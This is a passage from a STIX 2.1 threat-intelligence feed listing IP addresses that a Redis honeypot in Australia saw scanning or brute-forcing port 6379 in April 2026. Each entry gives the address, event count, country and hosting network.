      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.95.147.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:25:12.000Z",
      "valid_until": "2026-05-09T05:25:08.000Z"
    },
    {
      "created": "2026-04-07T05:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--cc8cddd3-be24-4e32-995f-b0d68677339e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T05:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.96.228.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:25:12.000Z",
      "valid_until": "2026-05-09T05:25:08.000Z"
    },
    {
      "created": "2026-04-07T05:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--9680d567-2b3d-4c7e-a94f-e15eb8f4f636",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T05:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:25:12.000Z",
      "valid_until": "2026-05-09T05:25:08.000Z"
    },
    {
      "created": "2026-04-07T05:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--8dcff9fd-79c8-4567-baf1-3d359eb87805",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T05:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:25:12.000Z",
      "valid_until": "2026-05-09T05:25:08.000Z"
    },
    {
      "created": "2026-04-07T05:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--bfebae53-a29b-4c52-bf09-463bb575e05f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T05:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:25:12.000Z",
      "valid_until": "2026-05-09T05:25:08.000Z"
    },
    {
      "created": "2026-04-07T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--d961ad73-3e44-430c-9477-97f83ee8a4f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T07:25:10.000Z",
      "valid_until": "2026-05-09T07:25:09.000Z"
    },
    {
      "created": "2026-04-07T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=PH; asn=9658; asn_org=Eastern Telecoms Phils., Inc.; redis_cmd_hits=0",
      "id": "indicator--a988514a-c4e0-46a9-a019-54119250e1df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '180.232.31.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T07:25:10.000Z",
      "valid_until": "2026-05-09T07:25:09.000Z"
    },
    {
      "created": "2026-04-07T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=PL; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--2ef3526b-7faa-47d5-9b06-879edc03eded",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.215.88.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T07:25:10.000Z",
      "valid_until": "2026-05-09T07:25:09.000Z"
    },
    {
      "created": "2026-04-07T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=RU; asn=214664; asn_org=JSC Buduschee; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.0; redis_cmd_hits=0",
      "id": "indicator--7bf855b2-2c0f-4087-9891-5b8464f4f553",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.91.64.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T07:25:10.000Z",
      "valid_until": "2026-05-09T07:25:09.000Z"
    },
    {
      "created": "2026-04-07T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--eccc8522-903b-40cf-a7cb-2071f3a9ee40",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.248.58.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T08:25:10.000Z",
      "valid_until": "2026-05-09T08:25:09.000Z"
    },
    {
      "created": "2026-04-07T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--32107618-4db0-4cd8-89c6-8a951ba5cb78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.121.46.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T08:25:10.000Z",
      "valid_until": "2026-05-09T08:25:09.000Z"
    },
    {
      "created": "2026-04-07T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--b92fa9ec-9cff-4583-a625-17d1c9e9381b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.64.106.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T08:25:10.000Z",
      "valid_until": "2026-05-09T08:25:09.000Z"
    },
    {
      "created": "2026-04-07T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=RU; asn=34665; asn_org=Petersburg Internet Network ltd.; redis_cmd_hits=0",
      "id": "indicator--b49db0f2-9f22-47bd-bf0d-f0b98c7cde43",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '46.161.50.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T08:25:10.000Z",
      "valid_until": "2026-05-09T08:25:09.000Z"
    },
    {
      "created": "2026-04-07T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=RU; asn=210259; asn_org=LLC Applied Computational Technologies; redis_cmd_hits=0",
      "id": "indicator--6a4cf02f-4f5c-42a7-a890-cbec26368e05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T08:25:10.000Z",
      "valid_until": "2026-05-09T08:25:09.000Z"
    },
    {
      "created": "2026-04-07T09:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--5184b425-94b6-4d16-921b-985eab2364ee",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T09:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '39.107.95.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T09:25:05.000Z",
      "valid_until": "2026-05-09T09:25:04.000Z"
    },
    {
      "created": "2026-04-07T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=SG; asn=132203; asn_org=Tencent Building, Kejizhongyi Avenue; redis_cmd_hits=0",
      "id": "indicator--d07e0771-ccf8-49af-a48f-ecdcebec2e65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '43.133.59.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T11:25:10.000Z",
      "valid_until": "2026-05-09T11:25:09.000Z"
    },
    {
      "created": "2026-04-07T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=RU; asn=214664; asn_org=JSC Buduschee; redis_cmd_hits=0",
      "id": "indicator--1351e28d-90c1-4d3b-9013-98c90792cd0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.91.64.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T11:25:10.000Z",
      "valid_until": "2026-05-09T11:25:09.000Z"
    },
    {
      "created": "2026-04-07T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=CN; asn=58466; asn_org=CHINANET Guangdong province network; redis_cmd_hits=0",
      "id": "indicator--91d6db15-30de-4f83-98b3-b097e39d325f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '14.18.118.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T18:25:10.000Z",
      "valid_until": "2026-05-09T18:25:09.000Z"
    },
    {
      "created": "2026-04-07T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=23724; asn_org=IDC, China Telecommunications Corporation; redis_cmd_hits=0",
      "id": "indicator--56fc546b-4526-458a-91a9-95e6f86210d5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '220.181.1.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T18:25:10.000Z",
      "valid_until": "2026-05-09T18:25:09.000Z"
    },
    {
      "created": "2026-04-07T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--f640bf6c-b12c-46bd-a500-4d1cbf62d9b1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '52.21.227.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T18:25:10.000Z",
      "valid_until": "2026-05-09T18:25:09.000Z"
    },
    {
      "created": "2026-04-07T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--69a73c4b-4549-497e-9d9a-8ddebcb237b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T21:25:10.000Z",
      "valid_until": "2026-05-09T21:25:09.000Z"
    },
    {
      "created": "2026-04-07T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=RO; asn=47890; asn_org=Unmanaged Ltd; redis_cmd_hits=0",
      "id": "indicator--b4f0bf8c-4447-4710-9bee-ed6c330c12a4",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T22:25:10.000Z",
      "valid_until": "2026-05-09T22:25:09.000Z"
    },
    {
      "created": "2026-04-08T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--eab94e3e-771a-48a2-ac59-b3df61d51b66",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-08T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.228.104.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T02:25:10.000Z",
      "valid_until": "2026-05-10T02:25:09.000Z"
    },
    {
      "created": "2026-04-08T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--45f18fea-60e6-4248-9aea-b584b4816319",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T02:25:10.000Z",
      "valid_until": "2026-05-10T02:25:09.000Z"
    },
    {
      "created": "2026-04-08T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4538; asn_org=China Education and Research Network Center; redis_cmd_hits=0",
      "id": "indicator--2f838d4a-df87-42a0-9778-aeef9494660a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-08T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '202.121.66.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T03:25:10.000Z",
      "valid_until": "2026-05-10T03:25:09.000Z"
    },
    {
      "created": "2026-04-08T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=98; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0; cmd=\"...L..2.7.....|..t .......curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group\"",
      "id": "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.129.187.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T03:25:10.000Z",
      "valid_until": "2026-05-10T03:25:09.000Z"
    },
    {
      "created": "2026-04-08T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--60e6dd63-225e-474f-9c8f-d6c574edd192",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T03:25:10.000Z",
      "valid_until": "2026-05-10T03:25:09.000Z"
    },
    {
      "created": "2026-04-08T05:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CA; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--d596c357-a24d-449d-9474-3a195e2881d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T05:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.175.198.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T05:25:05.000Z",
      "valid_until": "2026-05-10T05:25:04.000Z"
    },
    {
      "created": "2026-04-08T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--0f16b65d-1f7b-4205-bc33-e8a5780a9806",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-08T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '180.76.58.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:25:10.000Z",
      "valid_until": "2026-05-10T06:25:09.000Z"
    },
    {
      "created": "2026-04-08T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=23; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--def9891e-98c7-40be-9a6b-97b4651e252a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.171.8.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:25:10.000Z",
      "valid_until": "2026-05-10T06:25:09.000Z"
    },
    {
      "created": "2026-04-08T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=FR; asn=51167; asn_org=Contabo GmbH; redis_cmd_hits=0",
      "id": "indicator--2207ad09-6c87-4fd4-b6a9-3b0488c29a44",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-08T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.163.170.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T07:25:10.000Z",
      "valid_until": "2026-05-10T07:25:09.000Z"
    },
    {
      "created": "2026-04-08T08:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--3622bf7a-34dc-4e00-a984-29f5f1741edf",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-08T08:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '101.206.108.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T08:25:05.000Z",
      "valid_until": "2026-05-10T08:25:04.000Z"
    },
    {
      "created": "2026-04-08T09:27:01.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--4b4e3463-4a15-4828-bab4-326c63b34f65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T09:27:01.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.65.154.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T09:27:01.000Z",
      "valid_until": "2026-05-10T09:25:09.000Z"
    },
    {
      "created": "2026-04-08T12:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--06422f07-2319-46d6-b4d2-23d27c251f64",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-08T12:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.198.116.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:25:11.000Z",
      "valid_until": "2026-05-10T12:25:09.000Z"
    },
    {
      "created": "2026-04-08T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--6a774260-42c8-45de-a2bd-ed00e4878fd7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '120.205.80.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:25:11.000Z",
      "valid_until": "2026-05-10T13:25:09.000Z"
    },
    {
      "created": "2026-04-08T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=BG; asn=48090; asn_org=Techoff Srv Limited; redis_cmd_hits=0",
      "id": "indicator--3b97a83f-70ab-4b60-b1d9-bd775ec22d92",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-08T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '93.123.109.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:25:11.000Z",
      "valid_until": "2026-05-10T13:25:09.000Z"
    },
    {
      "created": "2026-04-08T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--579daa94-4ddc-4528-8f2e-dc06448e0987",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '137.184.154.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:25:10.000Z",
      "valid_until": "2026-05-10T14:25:09.000Z"
    },
    {
      "created": "2026-04-08T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--9fb1b7be-de3f-4b17-9c8f-f0762cccc70b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.230.209.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:25:10.000Z",
      "valid_until": "2026-05-10T14:25:09.000Z"
    },
    {
      "created": "2026-04-08T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=166; ports=6379; cc=HK; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--3b583baa-bf09-4c0a-ac3c-72fa965f9836",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-08T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '43.99.20.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:25:10.000Z",
      "valid_until": "2026-05-10T14:25:09.000Z"
    },
    {
      "created": "2026-04-08T15:25:32.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--af43d554-3043-4c02-910a-cd085493fdb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T15:25:32.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '116.153.32.50']",
